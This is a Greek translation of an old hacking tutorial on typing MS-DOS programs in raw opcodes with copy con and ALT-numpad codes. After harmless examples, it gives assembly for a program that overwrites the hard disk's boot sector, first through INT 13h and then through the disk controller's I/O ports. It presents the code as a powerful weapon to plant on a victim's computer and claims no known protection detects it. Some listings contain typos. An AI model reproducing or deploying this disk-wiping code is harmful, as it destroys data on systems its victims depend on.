by Alexey Kalmykov (aka B52) Από τον : Alexey Kalmykov (aka B52)
Μετάφραση στα ελληνικά από τον : \bin\bash ( e-mail: andx@hotmail.com, IRC: irc.box.sk )
ΕΙΣΑΓΩΓΗ -------- Τί είναι "αντίξοες συνθήκες"; Όταν κάθεστε σε έναν υπολογιστή που έχει εγκατεστημένο μόνο το MS-DOS χωρίς μεταγλωττιστές, hex editor, κελύφη, αποσφαλματωτές και θέλετε να επαναφέρετε χαμένα δεδομένα, να σβήσετε έναν ιό ή να γράψετε έναν καινούργιο, τότε βρίσκεστε υπό "αντίξοες συνθήκες". Οι περισσότεροι από τους προγραμματιστές δεν θα μπορέσουν να κάνουν τίποτα και οι περισσότεροι από τους διαχειριστές νομίζουν ότι αυτός ο υπολογιστής είναι ασφαλής κατά 100%. Αλλά αυτό δεν θα σταματήσει τον πραγματικό hacker... Έχω επιλέξει το καθαρό MS-DOS για το λειτουργικό σύστημα όπου προγραμματίζω επειδή σε μερικές εκδόσεις των Windows υπάρχουν πολλά πράγματα που διευκολύνουν αυτή την εργασία ( για παράδειγμα στα Windows 98 υπάρχει ενσωματωμένος φυλλομετρητής με VBScript και JavaScript και έτσι μπορείτε εύκολα να φτιάξετε έναν hex editor καθώς και άλλα προγράμματα ). Αυτό το άρθρο θα είναι ενδιαφέρων και για τους νέους hackers αλλά και για τους έμπειρους. Το συνιστώ επίσης στους προγραμματιστές, διαχεριστές καθώς και σε οποιονδήποτε θέλει να νιώσει το πνεύμα του hacking, το οποίο τώρα εξαφανίζεται ταυτόχρονα με την παλιά γεννιά των hackers. Η ΑΡΧΗ ------ Για να διαβάσετε και να καταλάβετε αυτό το κείμενο το λιγότερο που θα χρειαστείτε είναι γνώση του συμβολομεταφραστή και εμπειρία εργασίας με το MS-DOS. Επίσης θα χρειαστείτε τον κατάλογο με τα τις εντολές opcodes των x86, τον οποίο μπορείτε να τα βρείτε εδώ στα Elf Qrin Hacking Labs, τον πίνακα των κωδικών ASCII αλλα και πολύ ελεύθερο χρόνο. Πρώτα από όλα χρειαζόμαστε έναν επεξεργαστή κειμένου. Αλλά ο διαχειριστής έχει αφαιρέσει ΟΤΙΔΗΠΟΤΕ μπορούσε να μας βοηθήσει. Υπάρχει μόνο ένα πράγμα που διαφοροποιεί έναν καλό hacker από οποιονδήποτε άλλον hacker - η βαθιά γνώση του αντικειμένου με το οποίο δουλεύει. Εάν δουλεύει με το DOS τότε ξέρει τα πάντα για το DOS. Υπάρχει μια ατεκμηρίωτη λειτουργία που ανοίγει έναν μικρό επεξεργαστή κειμένου, αλλά αυτό φτάνει. Γράψτε την εξής εντολή του DOS : C:\copy con test.com Θα ανοίξει τον επεξεργαστή κειμένου. Αυτό είναι το εργαλείο μας. Αλλά ακόμη δεν ξέρουμε να γράφουμε προγράμματα σε δυαδικό κώδικα. Εάν κοιτάξετε το επίσημο εγχειρίδιο του MS-DOS θα βρείτε την απάντηση. Χρησιμποώντας το πλήκτρο ALT και το αριθμητικό πληκτρολόγιο μπορείτε να γράφετε προγράμματα σε δυαδικό κώδικα. Πρώτα από όλα ελέγξτε ότι το NumLock είναι ανοιχτό. Τώρα πατήστε το ALT γράψτε 195 και αφήστε το ALT. Για να σώσετε και να βγείτε πατήστε CTRL-Z και enter. Τώρα εκτελέστε το. Δεν κάνει τίποτα αλλά και ούτε σταματάει το σύστημα. Εάν μετατρέψετε τον κώδικα σε συμβολική γλώσσα θα δείτε ότι το test.com αποτελείται από μια μόνο εντολή, την RETN. Όπως ήδη μαντέψατε είναι το opcode της RETN ( 195 == 0xC3 ) και στο δεκαδικό σύστημα είναι το 195. ΠΡΟΧΩΡΗΜΕΝΑ ----------- Εντάξει, ήταν εύκολο. Τώρα δοκιμάστε να εισάγετε αυτό : ALT-180 ALT-09 ALT-186 ALT-09 ALT-01 ALT-205 ! ALT-195 ALT 32 Hi,world!$ Μετά πατήστε CTRL-Z και enter. Είναι προφανές ότι αυτό το πρόγραμμα εμφανίζει την φράση "Hi,world!". Ας το μετατρέψουμε σε συμβολική γλώσσα : 49E0:0100 start: 49E0:0100 B4 09 mov ah,9 49E0:0102 BA 0109 mov dx,offset data_1 ; (49E0:0109='Hi !!!!') 49E0:0105 CD 21 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx 49E0:0107 C3 retn 49E0:0108 20 db 20h 49E0:0109 48 69 20 21 21 21 data_1 db 'Hi,world!$; xref 49E0:0102 Ελπίζω να ξέρετε για την αντεστραμμένη σειρά στις λέξεις μηχανής ( ALT-09 ALT-01 = 109 ). Επίσης για να σας δείξω την ομορφιά αυτής της μεθόδου, χρησιμποποίησα το σύμβολο "!"==0χ21 για να καλέσω το interrupt 0χ21. Έτσι γνωρίζοντας τον κώδικα ASCII μπορείτε να κάνετε την ζωή σας πιo εύκολη. Αλλά γιατί να χρειαζόμαστε το σύμβολο (20h == ALT-32 == " ") στη διεύθυνση 49E0:0108 ; Αυτό είναι το κύριο μειονέκτημα αυτής της μεθόδου. Χρησιμοποιώντας το ALT και το αριθμητικό πληκτρολόγιο δεν μπορούμε να εισάγουμε μερικά σύμβολα. Παρακάτω είναι μερικά από αυτά : 0,3,6,8,16(0x10),19(0x13),27(0x1b),255(0xFF) Πρέπει να αποφεύγετε αυτά τα σύμβολα. Εάν κοιτάξετε τον κώδικα θα δείτε ότι το πραγματικό offset είναι το 0χ108. Αφ' ότου προσθέσαμε το σύμβολο, το offset έγινε το 0χ109. Υπάρχει και ένας πιο κομψός τρόπος για να το κάνετε : mov dx,109 dec sx Αυτοί οι δύο εναλλακτικοί τρόποι έχουν το ίδιο αποτέλεσμα ( dec dx == 1 byte ) και μπορείτε να διαλέξετε όποιον σας αρέσει. Ένα από τα κύρια προβλήματα είναι η εύρεση των offset για τις μεταβλητές και τις ετικέτες. Μπορείτε να γράψετε το πρόγραμμα στο χαρτί δίνοντας στις μεταβλητές συμβολικά ονόματα και μετά το πρόγραμμα θα είναι έτοιμο καθώς θα είναι έτοιμο να βρείτε τα offset και τις διευθύνσεις. Ένας άλλος τρόπος είναι να δηλώσετε όλες τις μεταβλητές πριν από την χρήση τους : mov ah,9 jmp sort $+20 db 'Hi,world!'$ mov dx,0x100+2+2; 0x100 - the base adress,2 - length of ; mov ah,9, 2 - length of jmp Η εντολή jmp short $+20 κρατάει 20 bytes για την συμβολοσειρά. Αυτή η μέθοδος θα μπορούσε να χρησιμοποιηθεί και για τις ετικέτες. ΤΟ ΠΑΡΑΔΕΙΓΜΑ ------------- Νομίζω ότι έχετε κουραστεί από αυτά τα θεωρητικά προγράμματα και είστε έτοιμοι να εφαρμόσετε την μέθοδο στην πράξη. Σαν παράδειγμα, θα προσπαθήσουμε να φτιάξουμε ένα πρόγραμμα που να σβήνει το boot sector. Προσοχή! Η χρήση αυτού το προγράμματος για να καταστρέψετε δεδομένα είναι έγκλημα. Θα πρέπει να το χρησιμοποιήσετε μόνο για πειραματικούς σκοπούς. Πρώτα ας το γράψουμε στον συμβλομεταφραστή : B80103 mov ax,00301 B90100 mov cx,00001 BA8000 mov dx,00080 CD13 int 013 C3 retn Όπως βλέπετε έχουμε ένα #0, ένα #9 και ένα #19. Ας μετατρέψουμε το πρόγραμμα ώστε να τα αποφύγουμε : xor ax,ax mov ds,ax mov ax,00299 inc ax inc ax xor cx,cx inc cx mov dl,80 mov bx,13h*4 pushf cli push cs call dword ptr [bx] retn Είναι όντως ένα δύσκολο παράδειγμα. Ο προγραμματισμός σην συμβολική γλώσσα και με τα interrupts δεν είναι το θέμα αυτού του άρθρου. Το μόνο που μπορώ να κάνω είναι να σας παραπέμπψω σε αναφορές για αυτό το θέμα, κάτι που μπορείτε εύκολα να βρείτε στο Διαδίκτυο. Αυτό είναι όλο : Βάλτε το στον υπολογιστή του θύματος και έχετε ένα πανίσχυρο όπλο. Σας συνιστώ να το χρησιμποιήσετε με προσοχή. Ευτυχώς ή δυστυχώς ( ανάλογα με τον προσανατολισμό του αναγνώστη ), στο BIOS υπάρχει μια προστασία κατά της εγγραφής του boot sector ( μερικές φορές λέγεται "Προειδοποίηση για ιό" ). Αυτή θα εμποδίσει κάθε προσπάθεια για την τροποποίηση του boot sector. Υπάρχει και κάτι άλλο όμως, μπορεί να εγκατασταθεί ειδικό λογισμικό. Για παράδειγμα, το πρόγραμμα αυτό δεν θα κάνει τίποτα εάν εκτελεστεί στο λειτουργικό σύστημα Windows 98. Αλλά ακόμη μπορούμε να εργαστούμε σε ένα χαμηλό επίπεδο με τις Θύρες I/O του σκληρού δίσκου. Παραθέτω ένα παράδειγμα ενός προγράμματος που σβήνει το boot sector μέσω των θυρών I/O : mov dx, 1F2h mov al,1 out dx,al inc dx out dx,al inc dx xor ax,ax out dx,al inc dx out dx,al mov al, 10100000b inc dx out dx,al inc dx mov al,30h out dx,al lea si, Buffer mov dx, 1F0h mov cx, 513 rep outsw Δεν ξέρω κάποια γνωστή προστασία η οποία μπορεί να εντοπίσει και να εμποδίσει αυτό το πρόγραμμα. Ωστόσο αυτό δεν αφορά τα Windows NT, αυτό το λειτουργικό σύστημα δεν θα επιτρέψει σε κανένα πρόγραμμα χωρίς τα απαραίτητα δικαιώματα να δουλεύει με θύρες, και ακόμη περισσότερο θα κλείσει το παράθυρο του προγράμματος αυτού! Την προετοιμασία αυτού του προγράμματος για εισαγωγή του με το ALT και την βελτιστοποίηση του μεγέθους την αφήνω σαν πρακτική εξάσκηση του αναγνώστη. ΤΕΛΟΣ ----- Δεν είναι εύκολο. Απαιτείται πολύ εμπειρία και ταλέντο αλλά σας δίνει απίστευτη δύναμη σε έναν υπολογιστή. Ελπίζω ότι δεν θα χρησιμοποίησετε αυτή την δύναμη για καταστροφή καθώς επίσης και ότι αυτό το άρθρο θα αποτελέσει ένα βήμα πίσω προς το "αυθεντικό πνεύμα του hacking".